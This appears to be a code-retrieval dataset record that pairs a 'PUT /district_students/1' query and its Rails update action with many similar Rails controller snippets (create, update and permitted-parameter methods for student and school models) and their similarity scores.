"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :birth_date, :email, :ip_address, :group_id, :registered_at, :average_grade)\n end",
"def schooldistrict_params\n params.require(:schooldistrict).permit(:name, :state, :city, :zip)\n end",
"def student_params\n params.require(:student).permit(:name, :birth_city, :birth_state, :birth_date, :address_street, :address_number, :address_complex, :address_cp, :address_phone, :email, :facebook, :personal_phone, :father_name, :father_live, :father_occupation, :father_phone, :mother_name, :mother_live, :mother_occupation, :mother_phone, :tutor_name, :tutor_parenthood, :previous_school, :previous_school_type, :scolarship, :security_institution, :medical_condition)\n end",
"def student_params\n params.require(:student).permit(:name, :birthday, :education, :activated, :group_id)\n end",
"def student_params\n params.require(:student).permit(:student_name, :school_id, course_ids: [])\n end",
"def create\n @student_interest = StudentInterest.new(student_interest_params)\n\n respond_to do |format|\n if @student_interest.save\n format.html { redirect_to @student_interest, notice: 'Student interest was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student_interest }\n else\n format.html { render action: 'new' }\n format.json { render json: @student_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @map_student = MapStudent.new(map_student_params)\n\n respond_to do |format|\n if @map_student.save\n format.html { redirect_to @map_student, notice: 'Map student was successfully created.' }\n format.json { render :show, status: :created, location: @map_student }\n else\n format.html { render :new }\n format.json { render json: @map_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @districtclass = Districtclass.new(params[:districtclass])\n\n respond_to do |format|\n if @districtclass.save\n format.html { redirect_to @districtclass, notice: 'Districtclass was successfully created.' }\n format.json { render json: @districtclass, status: :created, location: @districtclass }\n else\n format.html { render action: \"new\" }\n format.json { render json: @districtclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_entity = StudentEntity.new(student_entity_params)\n\n respond_to do |format|\n if @student_entity.save\n format.json { render :show, status: :created, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:name, :email, :enrollment_no, :degree_id, course_ids: [])\n end",
"def student_params\n params.require(:student).permit(:name, :id_type, :gender, :address, :last_course, :outschool_years, :identification, :born, :etnic, :villa, :born_state, :displaced, :disability, :drop, :pic, :graduated, :why, :residency_state, :zone, :guardian_id, :school_id, :health_care_id, guardian_attributes: [:id_type, :identification, :name, :last_name, :second_name, :gender, :born, :address, :villa, :zone, :department, :municipality, :phone, :cel, :email, :relationship, :student_id])\n end",
"def create\n @student_referee = StudentReferee.new(params[:student_referee])\n\n respond_to do |format|\n if @student_referee.save\n format.html { redirect_to(@student_referee, :notice => 'Student referee was successfully created.') }\n format.xml { render :xml => @student_referee, :status => :created, :location => @student_referee }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_referee.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student_grade_personality = StudentGradePersonality.new(params[:student_grade_personality])\n\n respond_to do |format|\n if @student_grade_personality.save\n flash[:notice] = 'StudentGradePersonality was successfully created.'\n format.html { redirect_to :action => \"by_student\", :id => @student_grade_personality.student.id }\n format.xml { render :xml => @student_grade_personality, :status => :created, :location => @student_grade_personality }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_grade_personality.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:name, :standard_id, :school_id)\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def create\n @student = current_user.students.build(student_params)\n # @student = Student.new(student_params)\n # @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to admissions_url, success: 'Student record was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:last_name, :name, :dni, :student_number, :email)\n end",
"def create\n params[:school][:department_ids] = params[:department_select]\n @school = School.new(params[:school])\n respond_to do |format|\n if @school.save\n flash[:notice] = 'School was successfully created.'\n format.html { redirect_to(@school) }\n format.xml { render :xml => @school, :status => :created, :location => @school }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @school.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tstudent = Student.create_student(student_params, params[:student][:dojo])\n\t\thtml\t = render_to_string partial: 'students/templates/student_row_dojos_page', locals: { student: student[:result][:student] }\n\n\t\trender :json => {student: student[:result][:student], html: html, current_dojo: session[:current_dojo]}\n\trescue Exception => ex\n\t\tError.record_error_return(ex.message, params)\n\t\trender :json => { :status => false, :error_message => ex.message } \n\tend",
"def student_params\n params.require(:student).permit(:surname, :name, :number, :dni, :email)\n end",
"def create\n @student_graduatedship = StudentGraduatedship.new(params[:student_graduatedship])\n\n respond_to do |format|\n if @student_graduatedship.save\n format.html { redirect_to(@student_graduatedship, :notice => 'Student graduatedship was successfully created.') }\n format.xml { render :xml => @student_graduatedship, :status => :created, :location => @student_graduatedship }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_graduatedship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_path, notice: 'Student details were successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :dni, :number, :email)\n end",
"def student_params\n params.require(:student).permit(:household_id, :first_name, :last_name, :dob, :cell_phone, :email, :grade, :gender, :emergency_contact_name, :emergency_contact_phone, :has_birth_certificate, :allergies, :medications, :security_question, :security_response, :active, :school_id, :_destroy, registrations_attributes: [:id, :bracket_id, :has_report_card, :has_proof_of_insurance, :insurance_provider, :insurance_policy_no, :family_physician, :physician_phone, :has_physical, :physical_date, :jersey_size, :active, :_destroy])\n end",
"def create\n # @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def student_params\n params.require(:student).permit(:student_id, :last_name, :first_name, :home_address, :home_city, :home_state, :home_zip, :school_year_address, :school_year_city, :school_year_zip, :room_number, :home_phone, :cell_phone, :new_student, :returning_student, :athletic_team)\n end"
] |
[
"0.6051043",
"0.6018945",
"0.60114187",
"0.6004729",
"0.5941816",
"0.59369403",
"0.5912328",
"0.5904994",
"0.58519346",
"0.5834753",
"0.5822872",
"0.5810953",
"0.58070296",
"0.57837105",
"0.5771113",
"0.5764161",
"0.5749433",
"0.5728385",
"0.57148653",
"0.5708956",
"0.57076967",
"0.56952924",
"0.5667295",
"0.56575966",
"0.56575966",
"0.5626884",
"0.5624525",
"0.5616774",
"0.55973864",
"0.5596677",
"0.55802244",
"0.5580185",
"0.5569028",
"0.5558979",
"0.5554699",
"0.55462974",
"0.5544236",
"0.554131",
"0.55403674",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5539272",
"0.5535186",
"0.55348516",
"0.55293036",
"0.5522608",
"0.5522608",
"0.5499109",
"0.5497351",
"0.5493425",
"0.5489945",
"0.54789484",
"0.547796",
"0.54747075",
"0.5472423",
"0.54705405",
"0.54705405",
"0.54705405",
"0.54705405",
"0.54705405",
"0.54705405",
"0.54705405",
"0.5467616",
"0.5461564",
"0.5457835",
"0.5457305",
"0.54564536",
"0.5456143",
"0.54559666",
"0.54523534",
"0.54514307",
"0.5449189",
"0.544146",
"0.5432866",
"0.5426577",
"0.54230183",
"0.5418832",
"0.54175496",
"0.5415632",
"0.5415246",
"0.54009855",
"0.5400251",
"0.53990734",
"0.53953177",
"0.53946316",
"0.538344",
"0.538321",
"0.53779966",
"0.5360704",
"0.5357435",
"0.53539354",
"0.5353036"
] |
0.62399054
|
0
|
PUT /district_students/1 PUT /district_students/1.xml
|
def update
@student = current_district.students.find(params[:id])
respond_to do |format|
if @student.update_attributes(params[:student])
flash[:notice] = "#{edit_obj_link(@student)} was successfully updated.".html_safe
format.html { redirect_to(index_url_with_page) }
else
format.html { render :action => "edit" }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:success] = t('student.updated')\n format.html { redirect_to(students_path) }\n format.xml { head :ok }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @district = District.find(params[:id])\n\n respond_to do |format|\n if @district.update_attributes(params[:district])\n flash[:notice] = 'District was successfully updated.'\n format.html { redirect_to(@district) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @district.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @district = District.find(params[:id])\n\n respond_to do |format|\n if @district.update_attributes(params[:district])\n format.html { redirect_to(admin_city_district_url(city, @district), :notice => 'District was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n #format.xml { render :xml => @district.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @dojo_student = DojoStudent.find(params[:id])\n\n respond_to do |format|\n if @dojo_student.update_attributes(params[:dojo_student])\n format.html { redirect_to @dojo_student, notice: 'Dojo student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dojo_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n @student.update_attributes(params[:student])\n end",
"def update\n @student = current_user.students.find(params[:id])\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student record is successfully updated.'\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n Student.find(params[:id]).update(student_params)\n redirect_to \"/dojos\"\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Alumno guardado con éxito.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n\n if @student.update_attributes(params[:student])\n format.html {render :action=>\"show\"}#redirect_to(\"/students/#{@student.id}\")\n else \n format.html { render :action =>\"edit\"}\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n\n end\n\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, :notice => 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, :notice => 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_entity.update(student_entity_params)\n format.json { render :show, status: :ok, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = User::Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to user_student_path(@user, @student), notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: user_student_path(@user, @student) }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.find(params[:id])\n\n respond_to do |format|\n if @inschool.update_attributes(params[:inschool])\n format.html { redirect_to :back, notice: 'Inschool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student update successful.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @student.update(student_params)\n render :show, status: :ok, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => '学生信息成功更新') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @student.update(student_params)\n render json: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @people_student.update(people_student_params)\n format.html { redirect_to @people_student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_student }\n else\n format.html { render :edit }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = current_user.teacher.students.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n StdTeacher.where(\"idStd = ? AND idTeacher = ?\", @student.id, current_user.teacher.id).update_all(idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_correspondence = StudentCorrespondence.find(params[:id])\n\n respond_to do |format|\n if @student_correspondence.update_attributes(params[:student_correspondence])\n format.html { redirect_to(@student_correspondence, :notice => 'Student correspondence was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_correspondence.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to students_url, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @district = District.find(params[:id])\n\n respond_to do |format|\n if @district.update_attributes(params[:district])\n flash[:success] = \"Район успешно отредактирован.\"\n format.html { redirect_to @district }\n format.json { head :no_content }\n else\n flash.now[:error] = \"Введены неверные данные!\"\n format.html { render action: \"edit\" }\n format.json { render json: @district.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student,\n notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Студент був успішно оновлений.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student]) and\n @student.usuario.update_attributes(params[:student][:usuario_attributes])\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to lop_students_url, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: params[:student]}#'Debug: #{params[:student]} Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_id.update(student_id_params)\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully updated.' }\n else\n format.html { redirect_to @student_id, notice: 'Student was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_id }\n end\n else\n format.html { render :edit }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: \"Student was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_referee = StudentReferee.find(params[:id])\n\n respond_to do |format|\n if @student_referee.update_attributes(params[:student_referee])\n format.html { redirect_to(@student_referee, :notice => 'Student referee was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_referee.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n \n if params[:number_of_classes] != nil && params[:number_of_classes].length != 0 then\n attendance = Attendance.new\n attendance.student_id = @student.id\n attendance.number_of_classes = params[:number_of_classes]\n attendance.date = Date.today\n attendance.save\n end\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student was successfully updated.'\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n @student1 = Student1.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @student1.update_attributes(params[:student1])\r\n format.html { redirect_to @student1, notice: 'Student1 was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @student1.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @district.update(district_params)\n format.html { redirect_to @district, notice: 'District was successfully updated.' }\n format.json { render :show, status: :ok, location: @district }\n else\n format.html { render :edit }\n format.json { render json: @district.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @district.update(district_params)\n format.html { redirect_to @district, notice: 'District was successfully updated.' }\n format.json { render :show, status: :ok, location: @district }\n else\n format.html { render :edit }\n format.json { render json: @district.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to admissions_url, success: 'Student record was successfully updated.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @normal_example = NormalExample.find(params[:id])\n\n respond_to do |format|\n if @normal_example.update_attributes(params[:normal_example])\n flash[:notice] = 'NormalExample was successfully updated.'\n format.html { redirect_to(@normal_example) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @normal_example.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
